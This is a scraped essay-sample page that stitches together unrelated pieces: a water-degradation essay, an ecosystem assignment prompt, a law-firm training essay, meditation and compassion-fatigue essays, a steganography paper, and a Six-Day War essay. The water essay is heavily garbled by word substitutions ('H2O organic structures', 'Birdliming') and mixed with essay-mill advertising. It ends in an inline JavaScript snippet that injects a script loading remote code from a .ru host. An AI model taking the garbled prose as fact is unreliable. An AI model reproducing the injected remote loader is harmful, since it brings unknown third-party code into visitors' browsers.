Water Degradation Essay Research Paper Water Degradation free essay sample

Water Degradation Essay, Research Paper Water Degradation Based on the article: River Life Through U.S. Broadly Degraded. By William K. Stevens, Jan. 26, 93 Society has been presented with a wide spectrum of cause and effectrelationships within the H2O based ecosystems. Without a witting attempt torehabilitate our H2O systems many rivers and lakes are doomed. We have to look afterthis cherished resource. Fortunately many new controls and clean up plans have beenintroduced. Rivers are being devastated due to physical and ecological transmutation. Thisdecrease in the quality of river and H2O organic structures consequences from human activities andprocesses. The ecosystems are altering quickly. It is necessary to keep aconsistent balance in these ecosystems. Imbalances are happening with alimentary degrees, H2O temperature, H2O degree, and deposit. # 8220 ; The watercourse so carries moresediment and becomes wider, shallower, and heater, doing the H2O unfit for manyvital organisms. # 8221 ; ( Stevens, New York Times, Jan. We will write a custom essay sample on Water Degradation Essay Research Paper Water Degradation or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page 26, 1993 ) The activities impacting the watercourses are every bit diverse as the countries in which streamsare being affected. Dams are capable of destructing entire ecosystems. They affectwater degrees, and therefore affect H2O temperature. Changes in river temperature candestroy entire population of beings. In add-on they affect alimentary degrees bycutting them off, non leting them to flux down watercourse. Salmon runs frequently fall preyto the concrete monsters. Although this is frequently bypassed with pink-orange elevators.Development of land frequently consequences in the straightening, channeling, and diversionof the rivers and watercourses. Many rivers and watercourses have merely dried up most of theyear, and some neer make it all the manner to the ocean. This can be lay waste toing to thewide assortment of species, and decimate niches and ecosystems take downing the biological+ H ) 0*0*0* . . + diverseness. Development is frequently damaging to river bank flora. This al lowswater to run off excessively rapidly, therefore cut downing the H2O keeping capacity of the land, andadding to deposit. Channeling and recreation can besides be found in agribusiness and farming practices.In add-on chemical fertiliser and carnal waste merchandises run off causes an surfeit of foods being added to the H2O interrupting the delicate balances.Plowing and other patterns leave dirt victim to eroding which adds to thesedimentation of the river. Forestry is besides a major cause of watercourse deposit. When the works materialis removed the dirt surface it is left really susceptible to eroding. This produces a lotof extra deposit over a long period of clip. After an country is cleared thechemical balances are affected as good. # 8220 ; In peculiar, Ranberg and co-workers provedthat alkalinity increased when forest land was converted into agricultural land andacidification occurred when patterns were abandoned. # 8221 ; ( Charles, Nature, April 29,93 ) This clearly show s how the lake chemical science is affected by forestry and agriculture.Urban and suburban countries are besides to fault. We continuously remove H2O from R / gt ; our H2O ways for usage, and replace it with wastes. This leads to nutrification andgeneral impairment of the H2O. # 8220 ; Nationwide, there are 2,100 wellness advisories forfish contaminated by toxic chemicals, harmonizing to a 1991 National Academy of Sciencesreport, Seafood Safety. # 8221 ; ( Marx, EPA Journal, Sept-Oct, 92 ) Heated outflowing releasedinto river ecosystems are frequently damaging. Emissions affect lake and riveracidification and hence the ability to back up aquatic beings. The effects ofacid rain take a heavy toll on ecosystems whether they are H2O based or non. Another job the river ecosystems are confronting are alien species. Somespecies are merely of course happening incidence, others are human introduced. # 8220 ; Theyhave significantly reduced biological diverseness through predation, change of home ground, debut of diseases or parasites and crossbreeding with native organisms. # 8221 ; ( Stevens, New York Times, Jan. 26, 93 ) This shows the effects of p resenting a foreignspecies to an established home ground. There are a figure of factors impacting our riversand ecosystems. Fortunately some witting attempt is being made to continue thisvaluable resource. These include salvaging the headwaters of major rivers, replantingriver Bankss, and authorities carbon monoxides operative H2O ordinance at dike. An illustration of the efforts to assist our current H2O state of affairs is Chesapeake Bay where local authoritiess have agreed to cut down the sum of foods being released by 40 % before the twelvemonth two 1000. Another signifier of saving is the liming of H2O organic structures rivers and entirewatersheds. Birdliming is the chemical neutralisation of acidic Waterss. By liming theentire watershed, the intervention can last five to ten old ages. # 8220 ; Harvey Olem saysresearchers have estimated that half the U.S. surface Waterss acidified by air pollutants will finally retrieve under the emanations control strategies most likely to e merge from strengthened Clean Air Act ordinances. # 8220 ; The other half will remainacidic, # 8221 ; he observes. And for them # 8220 ; liming may be an option a tool for reconstructing theirfisheries. # 8221 ; ( Raloff, Science News, Feb 24, 1990 ) A batch of common patterns must shortly come to a arrest. Obviously we are seting a veryheavy load on our waterways. The effects of this are really clear. In order to dealwith these jobs we must get down at the root of the job. We must cut down ourwastes and happen alternate agencies for disposal. We must cut back on emanations. Manythings are being done, and Acts of the Apostless are being passed. The public population is get downing totake it upon themselves to care for their river systems. Fortunately rivers are able, for the most portion, to reconstruct themselves one time the inhibiting factors are removed. BIBLIOGRAPHYDonald Charles, # 8220 ; Acid Rain Not Merely To Blame, # 8221 ; + +Nature, # 8211 ; April 29, 93, P. 784 Janet Raloff, # 8220 ; Lime for Your Drink? , # 8221 ; + +Science News, # 8211 ; February 24, 90, P. 127Wesley Marx, # 8221 ; Great Waterbodies at a Watershed, # 8221 ; + +EPA Journal- , September October,92, P. 45-48William K. Stevens # 8220 ; River Life Through U.S. Broadly Degraded, # 8221 ; + + New York Times, # 8211 ; January26, 93. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Botic Essays - Systems Ecology, Ecosystem, Biogeochemical Cycle

Botic Essays - Systems Ecology, Ecosystem, Biogeochemical Cycle Botic Option 1: Ecosystem Components Paper Select a representative natural ecosystem in your area or one that you are interested in?such as a lake, preserve, or park?that is managed for native species. ?Write a 700- to 1,050-word paper explaining the following: oThe major structural and functional dynamics (processes) of that ecosystem including change over time oHow humans may have affected biogeochemical cycles in that ecosystem, including impacts to the nitrogen, phosphorus, or carbon cycle oHow knowledge about that ecosystem?s structure and function can help or has helped to develop plans for its management and restoration oThe implication of species interactions in ecosystem management and restoration ?Include two outside references. ?Format your paper consistent with APA guidelines. Option 2: Ecosystem Components Video and Summary Select a representative natural ecosystem in your area or one that you are interested in?such as a lake, preserve, or park?that is managed for native species. ?Shoot a 7- to 10-minute video chronicling the following: oThe major structural and functional dynamics (processes) of that ecosystem including change over time oHow humans may have affected biogeochemical cycles in that ecosystem, including impacts to the nitrogen, phosphorus, or carbon cycle oHow knowledge about that ecosystem?s structure and function can help or has helped to develop plans for its management and restoration oThe implication of species interactions in ecosystem management and restoration ?Conduct research on the natural ecosystem you selected or interview natural resource management staff or other expert personnel. ?Write a 200- to 300-word summary of your video describing your approach to this assignment. ?Edit and format your video for flow.

Leading Linklaters to Its Goal through Training and Development Essay

Leading Linklaters to Its Goal through Training and Development - Essay Example In 2010, Linklaters was reported to rank fourth instead (AmericanLawyer.com 2010), exchanging places with B&M, a U.S. competitor. The decline in revenue implies a gap in the performance of Linklaters firms. II. Training Needs Analysis Linklaters has identified that in order to retain its previous position in the industry, it has to improve on building relationships that endure through business cycles. In accordance to this, the firm determines its need to constantly focus on their clients, deeply understand the global market, be globally minded and committed while showing integrity in the way employees and lawyers interact with the communities they serve. The training to be provided would involve all employees and lawyers within the Linklaters firms. In consideration of the different roles they play in the organisation, separate trainings will be provided to emphasise best practices of customer care in each unit. III. Training Plan A strong presence in the global market practically r equires an organization to be customer-focused. The satisfaction of returning customers can help spread the good word to attract new customers to the services of the firm. In addition, new or first-time customers should develop a good impression of the firm to ensure satisfaction and increase referrals. John (2003) identifies that a customer-focused firm has an intimate knowledge of its customers. Customer intimacy helps to provide superior customer value or operational excellence. Likewise, it allows improvement of customer value, thus leading to the attainment of product leadership. The effort to achieve customer intimacy and product excellence serves as ‘a guiding element in corporate strategy and performance’ (208). The corporate structure of Linklaters suggests the need for a common ground in customer-focused practices. The training to be conducted would yield a list of best practices for each unit of lawyers and employees in countries around the globe where Linkla ters has its presence. Establishing best practices for customer care would strengthen the corporate identity of the firm and promote better global corporate performance. IV. Training Aim, Objectives and Motivation A. Aim The training aims to promote the use of best practices to improve customer intimacy and corporate identity. B. Learning Outcomes By the end of the training, the participants will be able to: A. Emphasise the importance of customer intimacy among employees and lawyers B. Identify best practices of customer service in each department/unit to promote a common corporate identity among partner firms C. Show camaraderie among members of the community to help in cascading customer intimacy D. Establish means and procedures for evaluating customer satisfaction and intimacy. C. Motivation The motivation of the training is goal orientation. In the first part of the training, the facilitator will explain to the participants the goal of the company and the reason for conducting the training. V. Training Design A. Introduction Participants will introduce themselves and mention their role in their respective departments. B. Content Lecture: What are Best Practices? A short lecture will be conducted by the facilitator to define best practices and their significance in an organisation. This sets the mind of the learners to understand that best practices are important in an organisation especially global firms like Linklaters. Importantly, the short lecture will

Transcendental Meditation Essay Example | Topics and Well Written Essays - 1250 words

Transcendental Meditation - Essay Example The practice of Transcendental Meditation is one of the varieties of Sanskrit mantras consisted of short words or phrase that when repeated in thought is expected to help the practitioner still the activity of thought and find a deeper level of consciousness. Here, one understands that the basic process of TM is not very different from other forms of meditation, starting with a deep body and mind relaxation for 20 minutes daily, followed by the â€Å"seven-step process,† wherein the first three can be self-taught and the last four, instructed. In order to practice Transcendental Meditation, an individual needs to be initiated by a teacher. This initiation involves sessions of formal instruction, followed by a ceremony in which the applicant makes monetary and other offerings and receives his mantra, selected by the teacher on the basis of the meditator’s temperament and occupation. As previously mentioned, at least a million Americans are initiated today, underscoring TM’s widespread appeal. Transcendental Meditation’s appeal to people is anchored on its recognition that there is a hunger for spiritual vision in the modern world, particularly in the West, which is, then, infused with the spirit of practicality. Firstly, TM has benefited from the tradition that has been cultivated by the practice of yoga by Maharishi’s predecessors, the Eastern mystics, Vivekananda and Yogananda. Then, according to Coward, Hinnells, and Williams, Maharishi emphasized the practical aspect of meditation instead of its religious context.

Peer reviewded Essay Example | Topics and Well Written Essays - 1000 words

Peer reviewded - Essay Example The compromise may be in the form of disruption in the performance of duties or personal relationships, or at times may lead to the change of personality of a person. Compassion fatigue exhibits itself in a number of ways through evident signs and symptoms. The most visible sign that a person is suffering from compassion fatigue is the fact that the person is tense and preoccupied with the individual in need of care and his/her disease. Signs that a person is suffering from compassion fatigue may include avoiding or the numbing of the feelings of the caregiver or avoiding certain thoughts or situations of the patient. The caregiver may suffer lapses of memories and may also show a consistent character of being tired despite sleeping for adequate number of hours or, conversely, suffer from insomnia. The caregiver may also start to absent him/herself from work, and other signs may include emotional depletion due to too much caring for the sick and loss of interest in activities that we re enjoyed previously. The caregiver also loses self-esteem, is susceptible to anger, depression and irritability and may find it difficult to find happiness or hope. There is also evident decreased productivity at both the workplace and home. A caregiver should try to avoid the complications that may make him/her suffer from the effects of compassion fatigue. There are many ways of avoiding compassion fatigue, and these are majorly the individual becoming more withdrawn due to the problem or the caregiver choosing to leave the job altogether. The physical, emotional and spiritual needs of the caregiver should be met in order that the person does not suffer from the effects of compassion fatigue. Understanding one’s needs as a caregiver helps one to accept what is happening and may assist in avoiding compassion fatigue. Therefore, being in control of physical needs as a caregiver is important for better healthcare and wellbeing. The caregiver should look after his own health through better nutrition, regular exercise and enough sleep to keep compassion fatigue at bay. Taking care of his/her emotional needs like avoiding instances or events that may lead one to depression should be considered. This can be achieved through referring to previous instances in which the caregiver has endured and coped emotionally. Accepting how one feels and express the feelings, for example, one may reflect on her/his sadness and happiness while at the same time maintaining a sense of humor. Spiritual needs like one’s faith are important for the caregiver and through their consideration, one is able to avoid falling into the trap of compassion fatigue (Ekedahl and Wengstro?m, 2008). This can be relieved by understanding that death is inevitable and occurs at some point in the lifetime of a person. Spiritual needs can be provided by the family, faith or the nature, and the caregiver must be in a position to comprehend the possibility of losing the patient they are tak ing care of. Strategies for Coping with Compassion Fatigue Taking care of oneself as a caregiver increases his/her ability to provide for the person in need of the palliative care. This is because one will be able to handle the increased physical and emotional pressures that the work of care

Image Steganography by Enhanced Pixel Indicator Method

Image Steganography by Enhanced Pixel Indicator Method Image Steganography by Enhanced Pixel Indicator Method Using Most Significant Bit (MSB) Compare Vijaya Raghava Kukapalli ,Dr.B. Tarakeswara Rao, Mr.B.Satyanarayana Reddy AbstractSteganography is one of the secure ways of protecting data. It provides secrete communication between user and client. The current paper presents an enhanced Pixel Indicator Method (PIM) by comparing three MSB bits at each pixel to embed the data. And we also use Blowfish algorithm to convert message into cipher text. By using the combination of these two techniques we can achieve greater complexity. Due to this mechanism proposed method makes the message difficult to be discovered with less distortion and embedding rates. Keywords: Steganography, Pixel Indicator, Blowfish, Distortions, Embedding Rates. INTRODUCTION Since the rise of the www (World Wide Web) one of the most important facts of Internet. Cryptography is one of the method through which we can achieve security. Two main methods of cryptography are encryption and decryption. By using these two techniques we can provide security for our secrete data. But there are some drawbacks in cryptography such as Brute-force attacks by which the intruders can identify the data. To avoid brute-force attacks it is necessary to have a larger key space [1]. And using Cryptanalysis the can extract the original data. Steganography is a technique to hide the secrete information. It I related to Cryptography is just about old technique. It was used by the Ancient Greeks to hide information from other troops. The word steganography I derived from the Greek word â€Å"stegos† meaning â€Å"cover† and â€Å"grapy† meaning â€Å"writing† defining as covered writing. Essentially information hiding is the main task of steganography. The embedding process creates a stego image which contains information. The basic method used to hide data in image is LSB technique. By using this technique we store the information in least significant bit of each pixel. One of the common encoding performed over the secret image before embedding is Huffman Encoding [2]. Steganography has two primary goals: 1) Security-It is the hidden data stored by either person or a computer.2) Capacity-It shows how much data can be hidden in a given cover image. These two goals are often in competition. As a result, steganography started to attract the attention of computer researchers and users. In fact, the goal of steganography is to hide the important information of communication by embedding the secrete data to transmit into a digital media file such as image or text files. OVERVIEW OF STEGANOGRAPHY Least Significant Bit (LSB) Method This is one of the most important and popular techniques of steganography. By this method, least significant bits of the pixel (in black white images) or colors are used to embed secret message bits. It is a good steganography mechanism since changes in a least significant bit yield few changes in the original image. The stego-image quality is improved by using LSB technique. In this technique, certain least significant bits of cover image are replaced with secrete data [3]. Suppose, for example, the by the American Standard Code for Information Interchange (ASCII) with the numerical value as 01000111, is replaced with the following pixel values (the underlined bits represent the embedded bits): Pixel 1= (R=00011101, G=00111010, B=11001010) =>(R=00011100, G=00111011, B=11001010) Pixel 2= (R=01011001, G=10011011, B=11001110) =>(R=01011000, G=10011010, B=11001111) Pixel 3= (R=10010100, G=10101001, B=00110000) =>(R=10010101, G=10101001, B=00110000) The LSB approaches are divided into two fixed- and variable-length categories [4]. By the fixed-length methods, a given number of least significant bits of a byte are selected for embedding the data. In the variable-length method an assortment numbers of least significant bits of the proposed byte are chosen [5]. Cleanness and the pace of little changes in the portrait are the advantages of these techniques, while the disadvantage includes the chance of fast revealing. Pixel Indicator Process Adnan Gutub(2010)[6] in reference developed a method where a single color among three color components of a pixel was served as the pixel indicator; meaning that it indicates which colors in the pixel contains hiding bits of a secret message. Random values are selected for the indicator of each pixel, based on which message bits are placed in other colors of that pixel. The indicator uses two bits inserted inside two least significant bits of a specific color considered as the indicator. To increase the security of this technique, the color chosen as the pixel indicator is varied, so in the first pixel, Red is the indicator, Green is Channel 1, and Blue is Channel 2. For second pixel, Green is the indicator for pixel, Red and Blue act as Channel 1 and Channel 2, respectively. Finally, in third pixel, Blue is the indicator, while Red and Green act as Channel 1,Channel 2. The embedding of message is flowcharted in Figure 1.Pixel Indicator Embedding Process Because of the application of indicator; this method needs a wide space and, obviously, registration of color Figure 1: Pixel indicator embedding process The study uses the basic model of LSB swap along with Pixel Indicator and follows the same but with different think [7].Two such methods are described here: one with evade indicator and other with recurring indicator.LSB swap offers enhanced quality and capacity. On the words, confidential data is entrenched in data channels by modifying the cover image bits. In his propose method we first estimate the mean and standard deviation of every pixel if the entire image.The accidental traversing path is used for embedding to increase messiness .The representation for this study is given by the author. Before embedding process starts up, each cover image submits itself to control by means of translation of matrix and modulo [8].Hence the cover image undergoes successive alterations even before embedding. The plan of calculating mean and also standard deviation increases the difficulty of embedding rates. PROPOSED SOLUTION The study uses the primary concept of LSB swap along with Pixel Indicator and follows the same but with different methodology .The technique uses the MSB bit of RGB channels of a pixel. The channels can be choose in random (or) in sequence i.e. RGB, RBG etc soon [9] .However the indicated MSB bits are available at random based on image size, quality and its properties. The relationship between the hidden data in 3 channels is shown in Table 1. Indicator values based action. TABLE 1: INDICATOR VALUES BASED ACTION We have selected the indicator channels in sequence that is Red, Green and Blue. And then we find the MSB bit of each channel to know the bits. Once we got the bits we needed then we can perform the following process. The process of encryption and decryption takes place before hiding and after retrieving original information. During the encryption and decryption both sender and receiver uses same key/password. The encryption technique we used here is Blowfish which is having key length from 32 bits to 448 bits and it uses symmetric block cipher. Blowfish is developed in 1993 by Bruce Schneier as an alternative to existing algorithms. Blowfish algorithm [10] is a Feistel Network in which there are 16 rounds. In each round different sub keys are used. The block size is of 64 bits and key can be any length up to 448 bits. Figure-2: Flow chart for embedding data Algorithm for embedding Read the cover image(C) and secrete data to be embedded (D). Converting the secrete data into cipher text using BLOWFISH algorithm. Extract the length of the secrete data and store it in first 8 bytes. Divide each pixel into R, G, and B planes. And find the MSB bits of the 3 planes. By using the Tabel-1 select the channels where you want to store data. Repeat the process till all the secrete data is stored. Store the resultant stego image. Algorithm for Extraction Read the stego image. Split the pixel into RGB channels and find the MSB bit of each channel. Compare the retrieved bits with the Table 1 to find the channels that contain data. Now get the encrypted data and perform the decryption process to get original data. Repeat the process until the all data is retrieved. RESULTS AND DISCUSSION The technique was implemented and tested in java. The technique accepts all mainly JPEG, PNG; BMP images of size 260Ãâ€"349.We can select a bmp image for testing the proposed Enhanced PIT algorithm. The PIT method is compared with the Stegoimage-1bit, Stegoimage-2bit, Stegoimage-3bit, Stegoimage-4bit. The approximate BMP image size used is 512 X 384 used to veil a text message of 11,733 characters length. The algorithm is used to hide 1-bit, 2-bits, to find the effect of transparency, security and capacity. Tests results showed different levels of diagrammatic inspections and histograms based study. For influence obligation the numbers of pixels used are recorded in each trial run. Figure 3: Original image Figure 4: Stego image Higher PSNR (Peak Signal-to-Noise Ratio) [11] indicates that the steganography images are of high feature and does not hunt for the interest of the intruder because if zilch image artifacts. MSE (Mean Squared Error) and PSNR (Peak Signal-to-Noise Ratio) are given by: MSE=)2 Where M, N=Dimensions of the image. Ci,j=The pixels in the original image. Si,j=The pixels of the stego image. PSNR=) DB Where, for color image =255. CONCLUSION The current paper provided a technique by exploiting differences made between colors to embed message bits in two least significant bits. Since color selection is based on color differences and values of variable N, the message will be hard to detect. Furthermore, as there is no need to insert additional information, changes in image will be small and image quality will be higher. Another important point to be mentioned is that embedding which is first applied on first least significant bits and, then, second least significant bits yields few changes in the original image for messages with small sizes. Because changes in second least significant bits will make more changes in color values. Therefore, it is likely to be avoided, unless this approach needs to be worked. ACKNOWLEDGEMENT First and foremost, I would like to be grateful Dr. B. Tarakeshwar Rao for his most support and encouragement. He benevolently read my paper and offered valuable meticulous advices on grammar, association, and the idea of the paper. Finally, I honestly thank to my parents and friends. REFERENCES [1] Enhanced chaotic key-based algorithm for low-entropy image encryptionYavuz, E.Yazici, R.Kasapbasi,M.C.Yamac, E.Signal Processing and Communications Applications Conference(SIU),s201422ndDOI:10.1109/SIU.2014.6830246Publication Year: 2014, Page(s): 385 388 [2] A novelsteganographymethod forimagebased on Huffman EncodingDas, R.;Tuithung, T.Emerging Trends and Applications in Computer Science (NCETACS), 2012, 3rdNationalConference nDOI:10.1109/NCETACS.2012.6203290Publication Year: 2012, Page(s): 14 18. [3] Enhancing the Security and Quality ofLSBBased ImageSteganographyAkhtar, N.Johri,P.Khan,S.Computational Intelligence and Communication Networks (CICN), 20135thInternationalConferenceonDOI:10.1109/CICN.2013.85Publication Year: 2013, Page(s): 385 390 [4] Potdar, Vidyasagar M., Song Han, and Elizabeth Chang,Finger printed secret sharing steganography for toughness against image crop attacks, INDIN05. 2005 3rd IEEE International Conference, 2005, pp. 717-724. [5] Lou, Der-Chyuan, and Jiang-Lung Liu, Steganographic method for secure communications, Computers Security 21, no. 5, 2002, pp. 449-460. [6] Gutub, Adnan, Mahmoud Ankeer, Muhammad Abu-Ghalioun, AbdulrahmanShaheen, and AleemAlvi, Pixel indicator soaring capacity performance for RGB image based Steganography, WoSPA 2008-5th IEEE International. [7] Evaluating image steganographytechniques: Future research challengesRoy, RatnakirtiChangder,Suvamoy;Sarkar,Anirban;Debnath,NarayanComputing, Management and Telecommunications (ComManTel), 2013 International Conference,onDOI:10.1109/ComManTel.2013.6482411 Publication Year: 2013, Page(s): 309 – 314. [8]Free vibration analysis of circular cylindrical shells using transfermatrixmethodGuanmoXieElectric Information and Control Engineering (ICEICE), 2011InternationalConferenceonDOI:10.1109/ICEICE.2011.5778195Publication Year: 2011, Page(s): 423 – 426. [9] RGBbased dual key imagesteganography Dagar, S.Confluence 2013: The Next Generation Information Technology Summit (4th International Conference)DOI:10.1049/cp.2013.2334Publication Year: 2013, Page(s): 316 320 [10] Security analysis ofblowfishalgorithmAlabaichi, A.;Ahmad, F.;Mahmod, R. Informatics and Applications (ICIA),2013 Second International Conference on DOI:10.1109/ICoIA.2013.6650222Publication Year: 2013, Page(s): 12 – 18. [11] Stego image quality and the reliability ofPSNRAlmohammad, A.;Ghinea, G. Image Processing Theory Tools and Applications (IPTA), 2010 2nd International Conference onDOI:10.1109/IPTA.2010.5586786Publication Year: 2010, Page(s): 215 – 220.

The Six Day War Essay -- Military History

The Six Day War Introduction History records the 1967 Arab-Israeli War (Six-Day War) as one of the most memorable on record. Israeli forces delivered a stunning defeat to a coalition of Arab forces that greatly outnumbered the much smaller Israeli force. Victory was made possible by the initial aerial attack launched by Israeli Air Forces. The elements of surprise, stealth, Operational Security (OPSEC), precision planning and flawless execution were essential to victory. The opening aerial offensive has been called â€Å"one of the most stunning successes in modern warfare† . This case study will review the history, preparation, execution, and lessons learned of this conflict. There is much profit for those who will study this war and consider the essential elements that made the impossible- possible. History The United Nations General Assembly voted for the establishment of an Israeli independent state on 29 November 1947. Independence was claimed on May 14th, 1948. Immediately, Arab nations were hostile towards the presence of a Jewish state. No peace was to be enjoyed. Arab legions surrounded Israeli camps and brutally attacked and slaughtered, even civilians. Uneasy relations continued and sporadic wars were to be required in order to preserve the Jewish state. In 1967, tensions were boiling; as another war was on the horizon. While the Jewish state was far out-numbered and surrounded by foes, the Jewish people were inspired to fight for their very survival. President Gamal Abdel Nasser, of Egypt, delivered unsettling, warmongering speeches that only served to further inspire the Israelis to fight with passion. â€Å"The Israelis had a courage and patriotism that made them try harder and more unselfishly† . The... ...ng design, which proved to be a detriment as they could easily be made unusable by a single bomb strike at the intersecting runways . In addition, nations invested in advanced technology, seeking better early warning radar systems. References Tucker, Spencer C., Battles that Changed History: An Encyclopedia of World Conflict, Santa Barbara, CA: ABC-CLIO, 2011 Weller, Jae, Israeli Armor: Lessons From the Six-Day War, Military Review Vol.51, No.11, Nov 1971 Rabinovich, Abraham, First Strike, The Quarterly Journal of Military History, Vol.2, No.3, Spring 1990 In Search of Peace: Part One 1948-1967. DVD. Moriah Films, 1997 Against All Odds: Six-Day War & Raid on Entebbe. DVD. A&E Television Networks, 1996 Dogfights: No Room for Error. DVD. A&E Television Networks, 2007 Dogfights: The Complete Season One, Volume Four. DVD. A&E Television Networks, 2006